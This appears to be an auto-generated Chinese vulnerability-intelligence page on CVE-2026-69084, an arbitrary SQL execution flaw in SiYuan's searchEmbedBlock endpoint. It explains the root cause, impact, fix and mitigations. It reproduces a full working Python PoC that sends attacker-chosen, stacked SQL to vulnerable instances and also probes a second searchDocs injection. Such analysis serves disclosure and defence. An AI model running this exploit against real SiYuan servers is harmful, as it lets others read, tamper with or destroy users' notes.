🎯 CVE-2026-69084 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-69084 深度技术分析

📊 聚合 3 来源🧪 含 PoC
NVD-LatestGitHub-AdvisoryPoC-in-GitHub

摘要:CVE-2026-69084 是思源笔记(SiYuan)在 /api/search/searchEmbedBlock 接口中存在的严重 SQL 注入漏洞,CVSS 评分高达 10.0,影响 v3.7.2 及更早版本。该端点直接将客户端提交的完整 SQL 语句拼接并执行于主读写数据库 siyuan.db,且仅通过 CheckAuth 校验,导致持有发布角色读取令牌(RoleReader)的用户,甚至当 Publish.Auth.Enable 关闭时的匿名用户,都能执行任意的堆叠 SQL,实现跨明文笔记本的读写与破坏。官方在 v3.7.3 中通过增加单语句与只读校验完成了修复。

📌 漏洞概述

CVE-2026-69084 是思源笔记(SiYuan)知识库软件中的一道严重安全缺陷,由 GitHub Advisory GHSA-vh22-h7hf-www7 收录,对应 NVD 评分为 CVSS 10.0(Critical),PoC 仓库标注中亦有 9.9 的评级,可见其危害性极高。受影响版本为 SiYuan <= v3.7.2,官方在 v3.7.3 中完成修复。

漏洞类型上,这属于 CWE-89(SQL注入),但并非传统意义上“参数未转义拼接到既有 SQL 查询”的注入,而是 `/api/search/searchEmbedBlock` 端点由设计上接受客户端的完整 SQL 语句(`stmt` 字段),未做任何过滤处理,直接交给数据库执行,同时缺乏单语句限制、只读限制和管理员权限校验,其本质是一个被暴露的任意 SQL 执行通道。

🔬 漏洞根因分析

从代码调用链来看,漏洞的起源非常直接:

  • kernel/api/search.go 中,`searchEmbedBlock` 处理器获取请求参数中的 `stmt` 字符串,并将其作为参数传给 `model.SearchEmbedBlock(stmt, …)`,期间没有任何白名单、黑名单、语句类型检查或参数化。
  • `model.SearchEmbedBlock` 进一步调用 `SearchEmbedBlockInBox`,最终将用户提供的 `stmt` 原样送入 `sql.SelectB` 封装函数。
  • 底层使用的是 SQLite 驱动,该驱动默认允许执行分号分隔的堆叠语句(stacked queries),因此 `SELECT` 之外还可执行 `CREATE`、`INSERT`、`UPDATE`、`DELETE`、`DROP` 等任意操作。
  • 端点的访问控制仅依赖 `CheckAuth`,而其可达性覆盖了发布模式下持有 RoleReader 令牌(publish token)的用户,以及在未启用 `Publish.Auth.Enable` 情况下的完全匿名访问。

该漏洞最典型的触发方式如公开 PoC 所演示:往 `stmt` 中提交 SELECT 1; CREATE TABLE pwn_test2 (id INT),服务器就会在 `siyuan.db` 中创建新表;继续提交 INSERT INTO pwn_test2 VALUES (31337),则能在数据库中写入行。经实际验证,在 Docker 环境启动的思源笔记 v3.7.2 上,这两条请求均能成功执行,而修复后的 v3.7.3 会分别返回 SQL statement is not singlenot a read-only query,可见补丁正是针对单语句和只读条件做了强制校验。

值得强调的是,该漏洞并非“注入到固定查询中”,而是端点本身提供了执行任意 SQL 的能力;真正的问题出在它缺少调用者身份约束与执行能力限制,导致任何能触达该接口的人都获得了等同于数据库写用户的权利。

💥 影响与危害

成功利用后,攻击者能够在思源笔记的主数据库 `siyuan.db` 上执行任意 SQL,这一数据库承载着所有已打开的、未加密(明文)笔记本的内容,具体危害包括:

  • 数据机密性丧失:可通过 `SELECT` 读取所有明文笔记、文档、块内容及属性,包括发布模式下的内部资料,乃至其他用户的笔记内容。
  • 数据完整性破坏:可通过 `UPDATE`、`DELETE`、`INSERT`、`DROP` 任意篡改、删除或伪造笔记数据,可能导致知识库内容损毁或写入恶意内容。
  • 潜在代码执行/横向扩散:SQLite 支持通过扩展、`ATTACH DATABASE` 等方式进行文件读取/写入,在特定环境下可进一步探索主机文件系统;即使不直接获得系统 shell,攻击者也已掌控了应用的核心数据存储。
  • 认证绕过影响放大:由于发布模式为默认业务功能,开启发布但关闭“需要认证”的实例将形成完全未授权访问,危害巨大;即便开启了认证,持有只读 RoleReader 发布令牌的外部协作者亦可提升为任意数据操作能力。加密笔记箱不在影响范围内,因为其数据库采用独立加密文件,漏洞无法读取对应明文;但所有明文/未加密笔记均受牵连。

综合而言,这是一个从任意 SQL 执行到全量明文笔记数据泄露、篡改甚至删除的一键利用型漏洞,也是思源笔记发布历史上极为严重的缺陷之一。

🛡️ 修复与缓解

  • 官方补丁:思源笔记已在 v3.7.3 中修复该问题。修复方式是在 `searchEmbedBlock` 相关查询入口增加 sql.CheckSingleStatement(禁止堆叠语句)与 sql.CheckReadonlyStatementInBox(校验仅允许只读 SQL,并限制作用域于当前笔记盒)的检查。所有用户应尽快升级至 v3.7.3 及以上版本。
  • 临时缓解措施:对于无法立即升级的部署,建议采取以下加固手段:
    • 关闭发布功能(Publish)或确保在发布设置中开启 Publish.Auth.Enable,并要求所有客户端使用强口令令牌,避免匿名访问。
    • 不要将思源笔记的监听端口(默认 6806)暴露在公网或不可信网络中;如需远程使用,建议通过 VPN、反向代理配合认证层访问,并配置严格的网络访问控制。
    • 对已运行实例检查日志库访问记录,若有可疑的 `stmt` 参数请求,可判断是否遭到了利用。
    • 若怀疑已被入侵,及时备份数据、审查并重置发布令牌,并在升级补丁后重新校验所有笔记内容的完整性。
  • 防护建议:对于自部署笔记类应用,务必遵循最小权限原则:一切来自客户端且包含完整 SQL 语义的输入都应视为不可信;即便业务需要类似“自定义搜索”的高级功能,也应通过独立的只读连接、参数绑定、单语句限制以及严格的权限白名单来约束执行边界。

此次漏洞为所有基于 Web 的笔记软件敲响了警钟:当数据存储与前端交互被紧密耦合时,一旦端点过于“直白”地传递操作指令,原本最基础的安全防线(认证、授权、类型限制)就成为了决定数据能否被任意操纵的唯一屏障。强烈建议思源笔记用户立即跟进官方更新,并重新审查自己的发布暴露面。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言py来源Boreas37/CVE-2026-69084-PoC针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

#!/usr/bin/env python3
"""
CVE-2026-69084 — SiYuan searchEmbedBlock Arbitrary SQL Execution (CVSS 9.9)
CVE-2026-69085 — SiYuan searchDocs SQL Injection (CVSS 9.9)

Affected: SiYuan <= v3.7.2 (fixed in v3.7.3)
CWE-89 · Published 2026-08-03 · no public PoC at publication time

CVE-2026-69084 (/api/search/searchEmbedBlock):
    The endpoint passes a client-supplied SQL statement (stmt) verbatim to the
    main read-write siyuan.db handle with no single-statement or read-only
    restriction. The underlying SQLite driver executes stacked
    (semicolon-separated) statements,
so an attacker can CREATE/INSERT/UPDATE/
    DELETE/DROP on the database. The endpoint is gated only by CheckAuth: it
    is reachable with a publish RoleReader token,
or anonymously when publish
    mode is enabled with Publish.Auth.Enable=false. Fixed in v3.7.3 with
    sql.CheckSingleStatement + sql.CheckReadonlyStatementInBox.

CVE-2026-69085 (/api/filetree/searchDocs):
    The caller-supplied keyword parameter is concatenated directly into SQL
    with no escaping or parameter binding.

VERIFIED against real SiYuan v3.7.2 in Docker (b3log/siyuan:v3.7.2):
    stacked "SELECT 1;
CREATE TABLE pwn_test2 (id INT)" created the table in
    siyuan.db;"INSERT INTO pwn_test2 VALUES (31337)" wrote the row (verified
    by reading siyuan.db directly). On patched v3.7.3 the same requests are
    rejected with "SQL statement is not single" / "not a read-only query".

Usage:
    python3 CVE-2026-69084.py <host>[--auth CODE] <sql>
python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 "SELECT * FROM blocks LIMIT 5"

    python3 CVE-2026-69084.py <host>--proof       # CREATE TABLE pwn_69084 + INSERT (RCE/DB-write proof)
    python3 CVE-2026-69084.py <host>
--check       # SELECT sqlite_version() only — non-destructive
"""

import argparse
import http.cookiejar
import json
import sys
import urllib.request

_OPENER = None


def get_opener() ->
urllib.request.OpenerDirector:
    """Opener with cookie jar (session auth)."""
    global _OPENER
    if _OPENER is None:
        cj = http.cookiejar.CookieJar()
        _OPENER = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    return _OPENER


def api_request(host: str,path: str,body: dict,auth: str |None) ->tuple[int,
dict]:
    url = host.rstrip("/") + path
    data = json.dumps(body).encode()
    req = urllib.request.Request(url,data=data,method="POST")
    req.add_header("Content-Type","application/json")
    # SiYuan session auth is cookie-based — use the header only for special
    # cases that need it before loginAuth;the cookie is generally enough.
    try:
        with get_opener().open(req,
timeout=15) as r:
            return r.status,json.loads(r.read().decode())
    except urllib.error.HTTPError as e:
        try:
            return e.code,json.loads(e.read().decode())
        except Exception:
            return e.code,{"code": -1,"msg": f"HTTP {e.code}"}except Exception as e:
        return 0,{"code": -1,"msg": str(e)}def login(host: str,auth: str |None) ->
bool:
    """SiYuan session login — loginAuth endpoint."""
    if not auth:
        return True  # publish mode / no auth
    print(f"[*] Session login (code={auth!r})...")
    body = {"authCode": auth}status,res = api_request(host,"/api/system/loginAuth",body,None)
    print(f"[*] loginAuth → code={res.get('code')}
msg={res.get('msg','')!r}")
    return res.get("code") == 0


def exploit_sql(host: str,sql: str,auth: str |None,embed_block_id: str = "20210808180117-6v0mkxr") ->bool:
    """CVE-2026-69084: execute arbitrary SQL via searchEmbedBlock."""
    print(f"[*] SQL: {sql}")
    body = {"embedBlockID": embed_block_id,"stmt": sql,"excludeIDs": [],"headingMode": 0,"breadcrumb": False,}status,
res = api_request(host,"/api/search/searchEmbedBlock",body,auth)
    code = res.get("code")
    msg = res.get("msg","")
    print(f"[*] HTTP {status}|code={code}|msg={msg!r}")
    if code == 0:
        blocks = res.get("data",{}).get("blocks") if isinstance(res.get("data"),
dict) else None
        print(f"[+] SQL accepted (blocks: {len(blocks) if blocks else 0})")
        # show SELECT results
        if blocks:
            for b in blocks[:3]:
                blk = b.get("block",{})
                print(f"    - {blk.get('id')}|{blk.get('hPath')}|{blk.get('content',
'')[:60]}")
        return True
    print("[-] SQL rejected (target may be patched: 'not single' / 'not read-only')")
    return False


def check(host: str,auth: str |None) ->bool:
    """Non-destructive probe: sqlite_version() SELECT."""
    print("[*] Vulnerability check (sqlite_version):")
    return exploit_sql(host,"SELECT sqlite_version() AS v",auth)


def proof(host: str,auth: str |
None) ->bool:
    """DB-write proof: CREATE TABLE + INSERT (side-effect)."""
    print("[*] Proof: CREATE TABLE + INSERT")
    ok1 = exploit_sql(host,"CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)",auth)
    ok2 = exploit_sql(host,"INSERT INTO pwn_69084 VALUES (31337)",
auth)
    if ok1 and ok2:
        print("\n[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db")
        print("    Verify: sqlite3 siyuan.db 'SELECT * FROM pwn_69084;'")
        return True
    return False


def main():
    ap = argparse.ArgumentParser(description="SiYuan 69084/69085 PoC")
    ap.add_argument("host",help="http://host:port")
    ap.add_argument("sql",nargs="?",
help="SQL to execute (69084)")
    ap.add_argument("--auth",help="Access auth code")
    ap.add_argument("--check",action="store_true",help="Non-destructive probe")
    ap.add_argument("--proof",action="store_true",help="DB-write proof")
    ap.add_argument("--searchdocs",metavar="KEYWORD",help="69085 searchDocs SQLi test")
    args = ap.parse_args()

    if not login(args.host,
args.auth):
        print("[-] Login failed")
        sys.exit(1)

    ok = False
    if args.check:
        ok = check(args.host,args.auth)
    elif args.proof:
        ok = proof(args.host,args.auth)
    elif args.searchdocs:
        body = {"keyword": args.searchdocs}status,res = api_request(args.host,"/api/filetree/searchDocs",body,
args.auth)
        print(f"[*] searchDocs keyword={args.searchdocs!r}→ code={res.get('code')}msg={res.get('msg','')!r}")
        ok = res.get("code") == 0
    elif args.sql:
        ok = exploit_sql(args.host,args.sql,args.auth)
    else:
        ap.print_help()
        sys.exit(1)
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 本文由漏洞情报系统自动聚合生成 · 2026-09-04 05:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)